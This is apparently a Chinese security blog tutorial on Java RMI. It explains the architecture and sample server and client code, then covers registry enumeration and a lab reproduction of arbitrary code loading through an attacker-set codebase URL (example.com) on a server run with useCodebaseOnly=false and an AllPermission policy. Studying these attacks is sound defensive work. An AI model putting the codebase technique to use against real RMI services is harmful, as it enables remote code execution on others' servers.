RMI小记

RMI(Remote Method Invocation)也就是远程方法调用,他的目标与RPC(Remote Call Protocol)远程过程调用协议类似,让某个java虚拟机上的对象调用另一个java虚拟机中对象上的方法,只是RMIJava独有的一种机制。

在网络传输的过程中,RMI对象是通过序列化的形式进行编码传输,既然有序列化,必然会有反序列化RMI服务端在接收到序列化后的会将对象进行反序列化。

在反序列化攻击中,我们可能找不到反序列化的点,那么使用RMI就可以作为反序列化利用链的触发点

先来看看下面这个RMI架构

RMI1.jpg

RMI的组成

RMI主要分为三个部分:

  • Client客户端:客户端调用服务端的方法
  • Server服务端:远程调用方法对象的提供者,是代码真正执行的地方,执行结束会给客户端返回一个方法执行的结果
  • Registry注册中心:本质就是一个map,像一个字典,用于客户端查询服务端调用方法的引用

RMI调用的目的就是调用远程机器的类和调用一个写在本地的类一样

唯一区别就是RMI服务端提供的方法,被调用时方法是执行在服务端

为了屏蔽网络通信的复杂性,RMI引入了两个概念,分别是Stubs(客户端存根) 以及Skeletons(服务端骨架)RMI调用远程方法的过程大致就像下面这样:

  1. RMI客户端在调用远程方法时会先创建Stub(sun.rmi.registry.RegistryImpl_Stub)
  2. Stub会将Remote对象传递给远程引用层(java.rmi.server.RemoteRef)并创建java.rmi.server.RemoteCall(远程调用)对象。
  3. RemoteCall序列化RMI服务名称Remote对象。
  4. RMI客户端远程引用层传输RemoteCall序列化后的请求信息通过Socket连接的方式传输到RMI服务端远程引用层
  5. RMI服务端远程引用层(sun.rmi.server.UnicastServerRef)收到请求会请求传递给Skeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
  6. Skeleton调用RemoteCall反序列化RMI客户端传过来的序列化。
  7. Skeleton处理客户端请求:bindlistlookuprebindunbind,如果是lookup则查找RMI服务名绑定的接口对象,序列化该对象并通过RemoteCall传输到客户端。
  8. RMI客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI客户端反序列化RMI远程方法调用结果。

可能上面这么说会比较抽象,对刚刚接触的可能不太友好,那么换一种简单点的说法。

当客户端(Client)试图调用一个在远端的Object时,实际调用的是客户端本地的一个代理类(Proxy),这个代理类就称为Stub,而在调用远端(Server)的目标类之前,也会经过一个对应的远端代理类,就是Skeleton,它从Stub中接收远程方法调用并传递给真实的目标类。Stubs以及Skeletons的调用对于RMI服务的使用者来讲是隐藏的,我们无需主动的去调用相关的方法。但实际的客户端和服务端的网络通信时通过StubSkeleton来实现的。

RMI2.png

这样应该就好理解一点

RMI Register像一个网关,自己不会执行远程方法,但是RMI Server可以在上面注册一个Name到对象的绑定关系,RMI Client通过这个NameRMI Registry查询,获得绑定关系,然后连接RMI Server。最后,远程方法在RMI Server上调用

RMI实现

Server

一个RMIServer分成三个部分:

  • 一个继承了java.rmi.Remote的接口,其中定义我们想要远程调用的函数
  • 一个实现了此接口的类,此类实现了函数题,并且继承UnicastRemoteObject
  • 一个主类,用来创建Registry,并将上面的类实例化后绑定到一个地址。就是所谓的Server

0x01 编写一个远程接口

1
2
3
public interface IRemoteHelloWorld extends Remote {
public String hello() throws RemoteException;
}
  • 这个接口需要使用public声明,否则客户端尝试加载远程接口的对象会出错(除非客户端、服务端放在一起)
  • 继承java.rmi.Remote接口
  • 接口的方法需要抛出RemoteException异常

0x02 实现该远程接口

1
2
3
4
5
6
7
8
9
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{
protected RemoteHelloWorld() throws RemoteException {
}

public String hello() throws RemoteException {
System.out.println("hello~~~()");
return "Hello,World!";
}
}
  • 该类实现远程接口
  • 继承UnicastRemoteObject类,貌似继承了之后会使用默认socket进行通讯,并且该实现类会一直运行在服务器上。(如果不继承UnicastRemoteObject类,则需要手工初始化远程对象,在远程对象的构造方法的调用UnicastRemoteObject.exportObject()静态方法。)
  • 构造方法抛出RemoteException异常
  • 实现类中使用的对象必须都可序列化,即都继承java.io.Serilizable

0x03 Registry注册远程对象

上面我们已经把远程调用的类创建好了,那么接下来我们就要创建并调用它了

Java RMI设计了一个Registry的思想,很好理解,我们可以使用注册表来查找一个远端对象的引用,更通俗的来讲,这个就是一个RMI电话本,我们想在某个人那里获取信息时(Remote Method Invocation),我们在电话本上(Registry)通过这个人的名称 (Name)来找到这个人的电话号码(Reference),并通过这个号码找到这个人(Remote Object)。

这种思想由:java.rmi.registryjava.rmi.Naming来实现的

java.rim.Naming这是一个final类,提供了在远程对象注册表中存储获取远程对象引用的方法

这个类的每个方法中都有一个URL格式的参数,格式为:rmi://host:port/ObjectName

  • host表示注册表所在的主机
  • port表示注册表接受调用的端口号,默认1099
  • name表示一个注册的Remote Object的引用名称

我们实现了服务端带调用的对象,现在需要利用Naming.rebind()函数将其注册到registry

步骤:

  • 利用LocateRegistry.createRegistry(1099);创建registry注册中心
  • 实例化远程对象
  • 将实例化对象绑定到registry注册中心
1
2
3
4
5
6
7
8
9
10
public class RemoteServer {
public static void main(String[] args) throws RemoteException, MalformedURLException {
// 创建注册中心,指定1099端口
LocateRegistry.createRegistry(1099);
// 实例化远程对象
RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();
// 将远程对象绑定到注册中心,此处Name为:deicide
Naming.rebind("rmi://localhost:1099/deicide", remoteHelloWorld); //注意字符串格式
}
}

这里就已经搭建好服务端了。

Client

接下来我们需要搭建客户端,来远程执行服务器上的对象方法。

步骤如下:

  • 使用Naming通过名字找到registry中绑定的对象
  • 调用对象的方法

这里我们使用Naming.lookup()方法寻找registry的对象

1
2
3
4
5
6
7
public class Client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
IRemoteHelloWorld iRemoteHelloWorld = (IRemoteHelloWorld) Naming.lookup("rmi://localhost:1099/deicide");
String hello = iRemoteHelloWorld.hello();
System.out.println(hello);
}
}

执行

先执行服务端,再执行客户端:

RMI_Server.png

在客户端的控制台成功返回Hello,World!

刚刚接触的师傅可能会有疑问,为什么对象方法输出的hello~~~()字符串在服务端输出呢。

这就是因为RMI中远程方法是在服务端调用的,并将方法执行结果返回给客户端。

但是在server端通过RMI来发布服务的时候,远程调用的时候可能会出现以下错误:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Exception in thread "main" java.rmi.UnmarshalException: error unmarshalling return; nested exception is: 
java.lang.ClassNotFoundException: org.example.Server.RMIServer$IRemoteHelloWorld (no security manager: RMI class loader disabled)
at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:130)
at java.rmi.Naming.lookup(Naming.java:101)
at org.example.Train.TrainMain.main(TrainMain.java:9)
Caused by: java.lang.ClassNotFoundException: org.example.Server.RMIServer$IRemoteHelloWorld (no security manager: RMI class loader disabled)
at sun.rmi.server.LoaderHandler.loadProxyClass(LoaderHandler.java:556)
at java.rmi.server.RMIClassLoader$2.loadProxyClass(RMIClassLoader.java:646)
at java.rmi.server.RMIClassLoader.loadProxyClass(RMIClassLoader.java:311)
at sun.rmi.server.MarshalInputStream.resolveProxyClass(MarshalInputStream.java:265)
at java.io.ObjectInputStream.readProxyDesc(ObjectInputStream.java:1933)
at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1872)
at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2209)
at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1692)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:508)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:466)
at sun.rmi.registry.RegistryImpl_Stub.lookup(RegistryImpl_Stub.java:127)

因为不只是接口服务于实现类是一样的,并且包的名字也必须一样才可以,不然在调用的时候就会发生以上的错误。可以把这些类封装成一个公共的jar包来引用,才能很好地避免调用的时候出现错误

RMI通信过程总结

一个RMI过程有以下三个参与者:

  • RMI Registry
  • RMI Server
  • RMI Client

但是我上面给的示例代码只有两个部分,这是因为我们在新建一个RMI Registry的时候会直接绑定一个对象在上面,也就是我们上面示例代码中的Server包含了RegistryServer两部分:

1
2
3
LocateRegistry.createRegistry(1099);
RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();
Naming.rebind("rmi://localhost:1099/deicide", remoteHelloWorld);

第一行创建并运行RMI Registry,第三行将remoteHelloWorld对象绑定到Hello这个名字上。

Naming.bind的第一个参数是一个URL,形如rmi://host:port/name。其中hostport就是RMI Registry的地址和端口,name是远程对象的名字。

如果RMI Registry在本地运行,那么hostport可以省略,host默认是localhostport默认是1099

1
Naming.rebind("deicide", remoteHelloWorld);

那么接下来的问题就是RMI会带来哪些安全问题。

如何攻击RMI Registry

从上面的示例代码来看,可以从两个方面来思考这个问题:

  1. 如果我们能访问RMI Registry服务,如何对其进行攻击?
  2. 如果我们控制了目标RMI客户端中Naming.lookup的第一个参数(RMI Registry的地址),能不能进行攻击?

当我们可以访问目标RMI Registry的时候,会有哪些安全问题呢?

首先RMI Registry是一个远程对象管理的地方,可以理解为一个远程对象的“后台”。我们可以尝试直接访问“后台功能”,比如修改远程服务器上deicide对应的对象:

1
2
RemoteHelloWorld remoteHelloWorld = new RemoteHelloWorld();
Naming.rebind("rmi://192.168.142.141:1099/deicide", remoteHelloWorld);

但是当你这么写的时候,就会爆出这样的错误:

RMI3.png

由于Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebindbindunbind等方法

不过listlookup方法可以远程调用

list方法可以列出目标上所有绑定的对象:

1
String[] s = Naming.list("rmi://192.168.141.142:1099");

lookup的作用就是获取远程对象

那么只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用,比如之前的一个工具

BaRMIe,其中一个功能就是进行危险方法的探测。

但是,RMI的攻击面绝不像就这样,后面我会写一篇文章通过步入调试来查找RMI的反序列化攻击点。

RMI利用codebase执行任意代码

RMI中存在远程加载的场景,会涉及到codebase

cadebase是一个地址,告诉Java虚拟机我们应该从哪个地方去搜索类,有点像日用的CLASSPATH,但是CLASSPATH是本地路径,而codebase通常是远程URL,比如httpftp

如果我们指定codebase=http://example.com/,然后加载org.example.RMI.RMIServer类,那么Java虚拟机会下载这个文件http://example.com/org/example/RMI/RMIServer.class,并作为RMIServer类的字节码。

RMI的流程中,客户端和服务端之间传递的是序列化后的对象,这些对象在反序列化时,就回去寻找类。如果某一端反序列化时发现一个对象,那么就会去自己的CLASSPATH下寻找想对应的类;如果在本地没有找到这个类,就会去远程加载codebase中的类。

那么如果codebase被控制,我们不就可以加载恶意类了吗?

嘿 在RMI中,我们是可以将codebase随着序列化数据一起传输的,服务器在接收到这个数据后就会去CLASSPATH和指定的codebase寻找类,由于codebase被控制导致任意命令执行漏洞。

显然官方也注意到了这个安全隐患,所以只有满足如下条件的RMI服务器才能被攻击:

官方将java.rmi.server.useCodebaseOnly的默认值由false改为了true。在这种情况下,Java虚拟机将只信任预先配置好的codebase,不再支持从RMI请求中获取。

由于笔者虚拟机的环境有一点问题,调了一下午环境也没整出来就直接用P牛的吧。本来想自己调环境复现一下漏洞的。下面是P牛的Java安全漫谈的内容

先来编写一个简单的RMIServer用于复现这个漏洞。建立四个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// ICalc.java
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.util.List;

public interface ICalc extends Remote {
public Integer sum(List<Integer> params) throws RemoteException;
}

// Calc.java
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;
import java.rmi.Remote;

public class Calc extends UnicastRemoteObject implements ICalc{
public Calc() throws RemoteException {}

public Integer sum(List<Integer> params) throws RemoteException {
Integer sum=0;
for (Integer param : params) {
sum += param;
}
return sum;
}
}

//RemoteRMIServer.java
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
import java.util.List;

public class RemoteRMIServer {
private void start() throws Exception {
if (System.getSecurityManager() == null) {
System.out.println("setup SercurityMannager");
System.setSecurityManager(new SecurityManager());
}

Calc h = new Calc();
LocateRegistry.createRegistry(1099);
Naming.rebind("refObj", h);
}

public static void main(String[] args) throws Exception{
new RemoteRMIServer().start();
}
}

// client.policy
grant {
permission java.security.AllPermission;
};

编译及运行

1
2
javac *.java
java -Djava.rmi.server.hostname=192.168.142.141 -Djava.rmi.server.useCodebaseOnly=false -Djava.security.policy=client.policy RemoteRMIServer

其中,java.rmi.server.hostname是服务器的IP地址,远程调用时需要根据这个值来访问RMI Server

然后,我们再建立一个RMIClient.java:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.Serializable;
import java.rmi.Naming;
import java.util.ArrayList;
import java.util.List;

public class RMIClient implements Serializable {
public class Payload extends ArrayList<Integer> {}

public void lookup() throws Exception {
ICalc r = (ICalc) Naming.lookup("rmi://192.168.142.141:1099/refObj");

List<Integer> li = new Payload();
li.add(3);
li.add(4);

System.out.println(r.sum(li));
}

public static void main(String[] args) throws Exception{
new RMIClient().lookup();
}
}

这个Client我们需要在另一个位置运行,因为我们需要让RMI Server在本地CLASSPATH里找不到类,才会去加载codebase中的类,所以不能将RMIClient.java防在RMI Server所在的目录中。

运行RMIClient:

1
java -Djava.rmi.server.useCodebaseOnly=false -Djava.rmi.server.codebase=http://example.com/ RMIClient

此时会抛出一个magic value不正确的错误:

RMI4.png

查看example.com的日志,可见收到了来自Java的请求/RMIClient$Payload.class。因为我们还没有实际防止这个类文件,所以上面出现了异常

我们只需要编译一个恶意类,将其class文件放置在Web服务器的/RMIClient$Payload.class即可。

对于RMI反序列化漏洞,准备在写一些反序列化的文章的时候一块写。

感谢P牛的JAVA安全漫谈以及师傅们的文章

【java安全】RMI

RMI